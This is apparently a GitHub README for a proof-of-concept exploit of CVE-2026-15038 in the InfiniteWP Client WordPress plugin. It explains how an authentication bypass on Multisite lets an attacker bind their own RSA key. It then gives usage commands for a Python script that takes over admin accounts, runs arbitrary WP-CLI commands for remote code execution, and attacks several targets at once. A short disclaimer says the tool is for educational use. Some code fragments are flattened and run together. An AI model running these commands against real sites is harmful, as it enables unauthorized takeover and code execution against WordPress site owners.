
PoC exploit for CVE-2026-15038 in InfiniteWP Client WordPress plugin: bypasses authentication on Multisite, binds attacker RSA key, escalates to admin takeover, and executes remote commands via WP-CLI.
Unauthenticated Admin Account Takeover in WordPress Multisite
InfiniteWP Client plugin for WordPress (< 1.13.6) contains a critical authentication bypass vulnerability affecting Multisite installations.
An unauthenticated attacker can:
if (!$iwp_mmb_core->get_option('iwp_client_action_message_id')
&& !$iwp_mmb_core->get_option('iwp_client_public_key'))
get_site_option() → reads from network-level (wp_sitemeta)update_blog_option() → writes to per-blog (wp_X_options)💥 Result: On Multisite, the guard always returns false — re-pairing is always allowed.
if(trim($activation_key) != get_option('iwp_client_activate_key')){
get_option() returns falseactivation_key → trim(null) → '''' != false → false → Check passes 🎯openssl_verify() passesgraph LR
A[Send POST Request] --> B[Add Site Action]
B --> C[Guard Bypassed]
C --> D[Activation Key Check Fails]
D --> E[Signature Verifies]
E --> F[Attacker Key Bound]
F --> G[Full Admin Access]
G --> H[RCE Achieved]
# Clone the repository
git clone https://github.com/yourusername/CVE-2026-15038.git
cd CVE-2026-15038
# Install dependencies
pip install -r requirements.txt
python3 exploit.py -t https://wordpress.ddev.site
python3 exploit.py -t https://target1.com -t https://target2.com -t https://target3.com
python3 exploit.py -t https://wordpress.ddev.site --command "wp plugin install hello-dolly --activate"
python3 exploit.py -t https://wordpress.ddev.site --takeover --rce
| File | Description |
|---|---|
exploit.py | 🐍 Main exploit script with mass exploitation support |
requirements.txt | 📦 Python dependencies |
README.md | 📖 This documentation |
add_site requests in logsThis tool is for educational and security testing purposes only. Use only on systems you own or have explicit permission to test. The authors assume no liability for misuse.